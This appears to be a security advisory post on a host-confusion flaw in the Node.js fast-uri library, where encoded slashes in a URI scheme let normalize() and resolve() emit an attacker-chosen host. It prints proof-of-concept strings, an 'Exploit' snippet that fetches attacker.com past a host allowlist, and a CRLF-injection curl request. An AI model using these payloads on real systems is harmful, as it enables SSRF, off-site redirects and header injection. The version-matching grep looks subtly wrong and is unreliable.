Listen to this Post
fast-uri is a URI parser for Node.js. During parsing, it runs a legacy decoding pass over the scheme component using the global `unescape()` function and never re-escapes the result. Serialization writes the scheme back out verbatim, unlike the host component which is properly re-escaped. This asymmetry creates a discrepancy between how the URI is parsed for internal logic and how it is eventually serialized or normalized.
When an input contains percent-encoded slashes within the scheme component, the legacy decoder interprets these encoded characters during the initial parsing phase. Because the decoded value is not re-escaped, the parser may incorrectly determine that the URI lacks an authority section, resulting in undefined host and error properties internally. For example, `%2f%2fevil.example:/pwn` parses with no authority (parse().host is undefined), but `resolve()` and `normalize()` return //evil.example:/pwn, which reparses with host evil.example. The `%uXXXX` form (%u002f%u002fevil.example:/pwn) produces the same result.
However, when this same malformed reference undergoes normalization or resolution against a base URL, the serialization process writes out the scheme verbatim without proper escaping of special characters like slashes. This causes the output to be interpreted as a network-path reference with an attacker-controlled authority rather than a relative path with no authority. A scheme containing `%0d%0a` reaches the output as a raw CR LF.
Consequently, applications that whitelist specific hosts based on the parsed host value will inadvertently allow traffic destined for malicious domains because the internal check sees one thing while the actual resolution performs another. Applications that normalize or resolve untrusted URLs before a redirect check, host allowlist, or outbound request decision—especially those that treat a missing authority as same-origin—can be steered to an attacker-chosen authority. A normalized URI placed in a response header can carry an injected CR LF, potentially leading to HTTP response splitting or header injection.
The legacy decoder also expands non-standard escape forms, widening the attack surface beyond what upstream filters might anticipate. This enables severe security impacts including off-site redirects, server-side request forgery attacks, and address-policy bypasses. The affected versions are 2.3.1 up to but not including 2.4.5, 3.0.0 up to but not including 3.1.6, and 4.0.0 up to but not including 4.1.3.
DailyCVE Form:
Platform: Node.js
Version: <2.4.5, <3.1.6, <4.1.3
Vulnerability: Host Confusion
Severity: High
Date: 2026-08-24
Prediction: 2026-09-15
What Undercode Say:
Check installed fast-uri version npm list fast-uri Identify vulnerable versions npm list fast-uri | grep -E "2.[3-4].[0-9]|3.[0-1].[0-5]|4.[0-1].[0-2]"
// Vulnerable pattern: percent-encoded slashes in scheme const vulnerable = '%2f%2fevil.example:/pwn'; const parsed = parse(vulnerable); console.log(parsed.host); // undefined (safe check passes) const normalized = normalize(vulnerable); console.log(normalized); // //evil.example:/pwn (attacker host emerges)
Exploit: (Educational Purposes!)
// Crafted URI bypassing host allowlist
const attack = '%2f%2fattacker.com:/api/redirect';
const parsed = parse(attack);
if (parsed.host === allowedHost) { // parsed.host is undefined, passes check
const resolved = resolve(base, attack);
// resolved becomes //attacker.com:/api/redirect
fetch(resolved); // Request goes to attacker.com
}
CRLF injection via scheme curl "http://localhost:3000/redirect?url=%250d%250aX-Forwarded-For:%20127.0.0.1"
Protection:
Upgrade to fast-uri >= 4.1.3, or >= 3.1.6 in the v3.x release line, or >= 2.4.5 in the v2.x release line. No workarounds exist; upgrade to the patched version. Patched versions reject a scheme that is not valid after decoding.
Impact:
Remote attackers can bypass host validation, perform server-side request forgery (SSRF), cause off-site redirects, bypass address policies, and inject CRLF sequences into response headers leading to HTTP response splitting. Applications that rely on host allowlists or treat missing authorities as same-origin are particularly vulnerable.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
